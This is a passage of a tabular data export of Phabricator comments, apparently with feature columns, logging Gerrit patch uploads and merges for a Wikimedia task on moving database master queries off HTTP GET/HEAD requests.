",,,1451449776,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-zhbs5axmz5dhrlxrv5da,task_subcomment,,True,c3,3,False,,,25,True,0.0,0.0,0.0,0.0,3.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,21.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,3.0,10.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,3.0,0.0,0.0,10.0,4.206896551724138,0.8620689655172413,"Change 261616 had a related patch set uploaded (by Aaron Schulz):
Avoid calling Block::deleteIfExpired() when not needed

[[GERRIT_URL]]
"
585230,Fix database master queries from HTTP GET/HEAD before active-active multi-dc,"Change 261615 had a related patch set uploaded (by Aaron Schulz):
Move category refreshes to a deferred update

[[https://gerrit.wikimedia.org/r/261615]]
",,,1451449420,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-zhbs5axmz5dhrlxrv5da,task_subcomment,,True,c3,3,False,,,25,True,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,18.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,11.0,3.9642857142857144,0.8571428571428571,"Change 261615 had a related patch set uploaded (by Aaron Schulz):
Move category refreshes to a deferred update

[[GERRIT_URL]]
"
576231,Fix database master queries from HTTP GET/HEAD before active-active multi-dc,"Change 257966 merged by jenkins-bot:
resourceloader: Migrate from msg_resource table to object cache

[[https://gerrit.wikimedia.org/r/257966]]",,,1449708319,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-zhbs5axmz5dhrlxrv5da,task_subcomment,,True,c3,3,False,,,23,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,4.0,0.0,0.0,12.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,4.375,0.875,"Change 257966 merged by jenkins-bot:
resourceloader: Migrate from msg_resource table to object cache

[[GERRIT_URL]]"
575808,Fix database master queries from HTTP GET/HEAD before active-active multi-dc,"Change 257966 had a related patch set uploaded (by Krinkle):
resourceloader: Migrate from msg_resource table to object cache

[[https://gerrit.wikimedia.org/r/257966]]
",,,1449687586,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-zhbs5axmz5dhrlxrv5da,task_subcomment,,True,c3,3,False,,,22,True,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,14.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,10.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,10.0,4.310344827586207,0.896551724137931,"Change 257966 had a related patch set uploaded (by Krinkle):
resourceloader: Migrate from msg_resource table to object cache

[[GERRIT_URL]]
"
575359,Fix database master queries from HTTP GET/HEAD before active-active multi-dc,"Change 253656 merged by jenkins-bot:
resourceloader: Migrate from msg_resource table to object cache

[[https://gerrit.wikimedia.org/r/253656]]",,,1449627558,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-zhbs5axmz5dhrlxrv5da,task_subcomment,,True,c3,3,False,,,22,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,4.0,0.0,0.0,12.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,4.375,0.875,"Change 253656 merged by jenkins-bot:
resourceloader: Migrate from msg_resource table to object cache

[[GERRIT_URL]]"
573278,Fix database master queries from HTTP GET/HEAD before active-active multi-dc,"Change 253656 had a related patch set uploaded (by Aaron Schulz):
resourceloader: Remove use of msg_resource table, use object cache instead

[[https://gerrit.wikimedia.org/r/253656]]
",,,1449263966,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-zhbs5axmz5dhrlxrv5da,task_subcomment,,True,c3,3,False,,,22,True,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,6.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,24.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,15.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,6.0,0.0,3.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,9.0,4.181818181818182,0.8787878787878788,"Change 253656 had a related patch set uploaded (by Aaron Schulz):
resourceloader: Remove use of msg_resource table, use object cache instead

[[GERRIT_URL]]
"
573164,Fix database master queries from HTTP GET/HEAD before active-active multi-dc,"Change 255658 merged by jenkins-bot:
Defer the redirect table update in WikiPage::insertRedirect()

[[https://gerrit.wikimedia.org/r/255658]]",,,1449257407,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-zhbs5axmz5dhrlxrv5da,task_subcomment,,True,c3,3,False,,,22,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,17.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,8.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,4.333333333333333,0.9166666666666666,"Change 255658 merged by jenkins-bot:
Defer the redirect table update in WikiPage::insertRedirect()

[[GERRIT_URL]]"
569196,Fix database master queries from HTTP GET/HEAD before active-active multi-dc,"Change 255658 had a related patch set uploaded (by Aaron Schulz):
Defer the redirect table update in WikiPage::insertRedirect()

[[https://gerrit.wikimedia.org/r/255658]]
",,,1448579873,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-zhbs5axmz5dhrlxrv5da,task_subcomment,,True,c3,3,False,,,21,True,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,20.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,10.0,4.266666666666667,0.8666666666666667,"Change 255658 had a related patch set uploaded (by Aaron Schulz):
Defer the redirect table update in WikiPage::insertRedirect()

[[GERRIT_URL]]
"
568883,Fix database master queries from HTTP GET/HEAD before active-active multi-dc,"Change 205528 merged by jenkins-bot:
Allow for CentralAuthUser::loadState() to generally use DB slaves

[[https://gerrit.wikimedia.org/r/205528]]",,,1448513212,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-zhbs5axmz5dhrlxrv5da,task_subcomment,,True,c3,3,False,,,21,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,12.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,4.0,0.0,0.0,12.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,4.28,0.92,"Change 205528 merged by jenkins-bot:
Allow for CentralAuthUser::loadState() to generally use DB slaves

[[GERRIT_URL]]"
567711,Fix database master queries from HTTP GET/HEAD before active-active multi-dc,"Removing the ContentTranslation tag. If I understand correctly, what was relevant for ContentTranslaltion was done in T94480.

If there is anything more to do about this bug here that is related to ContentTranslation, please create it as a separate task. Thanks.",,,1448361677,,PHID-USER-xfe43w2lb5gpvglf4coa,False,,,PHID-TASK-zhbs5axmz5dhrlxrv5da,task_subcomment,,True,c3,3,True,,,20,True,0.0,2.0,0.0,4.0,0.0,6.0,2.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,2.0,2.0,0.0,4.0,17.0,2.0,2.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,8.0,2.0,2.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,8.0,19.0,4.0,0.0,6.0,0.0,0.0,0.0,0.0,4.0,2.0,0.0,0.0,4.0,17.0,8.0,0.0,0.0,0.0,4.0,0.0,4.0,2.0,0.0,2.0,2.0,0.0,0.0,4.645833333333333,0.8125,"Removing the ContentTranslation tag. If I understand correctly, what was relevant for ContentTranslaltion was done in T94480.

If there is anything more to do about this bug here that is related to ContentTranslation, please create it as a separate task. Thanks."
563982,Fix database master queries from HTTP GET/HEAD before active-active multi-dc,"Change 252880 had a related patch set uploaded (by Aaron Schulz):
[WIP] MessageBlobStore: Convert from msg_resource table to object cache

[[https://gerrit.wikimedia.org/r/252880]]
",,,1447735287,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-zhbs5axmz5dhrlxrv5da,task_subcomment,,True,c3,3,False,,,19,True,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,21.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,9.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,12.0,4.121212121212121,0.8484848484848485,"Change 252880 had a related patch set uploaded (by Aaron Schulz):
[WIP] MessageBlobStore: Convert from msg_resource table to object cache

[[GERRIT_URL]]
"
536572,Fix database master queries from HTTP GET/HEAD before active-active multi-dc,"Change 205528 had a related patch set uploaded (by Aaron Schulz):
Made CentralAuthUser::loadState() generally use DB slaves

[[https://gerrit.wikimedia.org/r/205528]]
",,,1443470381,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-zhbs5axmz5dhrlxrv5da,task_subcomment,,True,c3,3,False,,,12,True,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,24.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,10.0,4.310344827586207,0.8620689655172413,"Change 205528 had a related patch set uploaded (by Aaron Schulz):
Made CentralAuthUser::loadState() generally use DB slaves

[[GERRIT_URL]]
"
533538,Fix database master queries from HTTP GET/HEAD before active-active multi-dc,"Change 234164 merged by jenkins-bot:
Use DB slaves for Campaign reads on GET requests

[[https://gerrit.wikimedia.org/r/234164]]",,,1443035234,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-zhbs5axmz5dhrlxrv5da,task_subcomment,,True,c3,3,False,,,11,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,12.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,3.7083333333333335,0.9166666666666666,"Change 234164 merged by jenkins-bot:
Use DB slaves for Campaign reads on GET requests

[[GERRIT_URL]]"
532254,Fix database master queries from HTTP GET/HEAD before active-active multi-dc,"Change 240035 merged by jenkins-bot:
Defer the ApiTranslateUser::trackGroup saveSettings() call

[[https://gerrit.wikimedia.org/r/240035]]",,,1442904971,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-zhbs5axmz5dhrlxrv5da,task_subcomment,,True,c3,3,False,,,11,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,18.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,4.681818181818182,0.9090909090909091,"Change 240035 merged by jenkins-bot:
Defer the ApiTranslateUser::trackGroup saveSettings() call

[[GERRIT_URL]]"
532243,Fix database master queries from HTTP GET/HEAD before active-active multi-dc,"Change 240035 had a related patch set uploaded (by Aaron Schulz):
Defer the ApiTranslateUser::trackGroup saveSettings() call

[[https://gerrit.wikimedia.org/r/240035]]
",,,1442903912,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-zhbs5axmz5dhrlxrv5da,task_subcomment,,True,c3,3,False,,,11,True,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,21.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,11.0,4.535714285714286,0.8571428571428571,"Change 240035 had a related patch set uploaded (by Aaron Schulz):
Defer the ApiTranslateUser::trackGroup saveSettings() call

[[GERRIT_URL]]
"
532235,Fix database master queries from HTTP GET/HEAD before active-active multi-dc,"Change 240022 merged by jenkins-bot:
Defer the user update in enableCXBetaFeature()

[[https://gerrit.wikimedia.org/r/240022]]",,,1442902923,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-zhbs5axmz5dhrlxrv5da,task_subcomment,,True,c3,3,False,,,11,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,13.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,9.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,3.9130434782608696,0.9130434782608695,"Change 240022 merged by jenkins-bot:
Defer the user update in enableCXBetaFeature()

[[GERRIT_URL]]"
532158,Fix database master queries from HTTP GET/HEAD before active-active multi-dc,"Change 240022 had a related patch set uploaded (by Aaron Schulz):
Defer the user update in enableCXBetaFeature()

[[https://gerrit.wikimedia.org/r/240022]]
",,,1442881076,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-zhbs5axmz5dhrlxrv5da,task_subcomment,,True,c3,3,False,,,11,True,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,17.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,10.0,3.9310344827586206,0.8620689655172413,"Change 240022 had a related patch set uploaded (by Aaron Schulz):
Defer the user update in enableCXBetaFeature()

[[GERRIT_URL]]
"
531260,Fix database master queries from HTTP GET/HEAD before active-active multi-dc,"Change 239767 merged by jenkins-bot:
Defer the User::saveSettings call in getPreferences()

[[https://gerrit.wikimedia.org/r/239767]]",,,1442836845,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-zhbs5axmz5dhrlxrv5da,task_subcomment,,True,c3,3,False,,,11,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,17.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,9.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,4.217391304347826,0.9130434782608695,"Change 239767 merged by jenkins-bot:
Defer the User::saveSettings call in getPreferences()

[[GERRIT_URL]]"
531199,Fix database master queries from HTTP GET/HEAD before active-active multi-dc,"Change 239764 merged by Matthias Mullie:
Defer the User::saveSettings() call in TopicListBlock

[[https://gerrit.wikimedia.org/r/239764]]",,,1442829233,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-zhbs5axmz5dhrlxrv5da,task_subcomment,,True,c3,3,False,,,11,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,32.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,9.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,4.545454545454546,0.9090909090909091,"Change 239764 merged by Matthias Mullie:
Defer the User::saveSettings() call in TopicListBlock

[[GERRIT_URL]]"
531190,Fix database master queries from HTTP GET/HEAD before active-active multi-dc,"Change 237528 merged by jenkins-bot:
Avoid master queries on image history view

[[https://gerrit.wikimedia.org/r/237528]]",,,1442828441,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-zhbs5axmz5dhrlxrv5da,task_subcomment,,True,c3,3,False,,,11,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,27.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,9.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,3.8636363636363638,0.9090909090909091,"Change 237528 merged by jenkins-bot:
Avoid master queries on image history view

[[GERRIT_URL]]"
531147,Fix database master queries from HTTP GET/HEAD before active-active multi-dc,"Change 239764 had a related patch set uploaded (by Aaron Schulz):
Defer the User::saveSettings() call in TopicListBlock

[[https://gerrit.wikimedia.org/r/239764]]
",,,1442813686,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-zhbs5axmz5dhrlxrv5da,task_subcomment,,True,c3,3,False,,,11,True,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,24.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,10.0,4.172413793103448,0.8620689655172413,"Change 239764 had a related patch set uploaded (by Aaron Schulz):
Defer the User::saveSettings() call in TopicListBlock

[[GERRIT_URL]]
"
531146,Fix database master queries from HTTP GET/HEAD before active-active multi-dc,"Change 239767 had a related patch set uploaded (by Aaron Schulz):
Defer the User::saveSettings call in getPreferences()

[[https://gerrit.wikimedia.org/r/239767]]
",,,1442813679,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-zhbs5axmz5dhrlxrv5da,task_subcomment,,True,c3,3,False,,,11,True,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,21.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,7.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,10.0,4.172413793103448,0.8620689655172413,"Change 239767 had a related patch set uploaded (by Aaron Schulz):
Defer the User::saveSettings call in getPreferences()

[[GERRIT_URL]]
"
527938,Fix database master queries from HTTP GET/HEAD before active-active multi-dc,"Change 237531 merged by jenkins-bot:
Also defer the markRead() master updates

[[https://gerrit.wikimedia.org/r/237531]]",,,1442349290,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-zhbs5axmz5dhrlxrv5da,task_subcomment,,True,c3,3,False,,,10,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,13.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,9.0,0.0,4.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,3.652173913043478,0.9130434782608695,"Change 237531 merged by jenkins-bot:
Also defer the markRead() master updates

[[GERRIT_URL]]"
525611,Fix database master queries from HTTP GET/HEAD before active-active multi-dc,"Change 236996 merged by jenkins-bot:
Defer ""lastuse"" preference updates

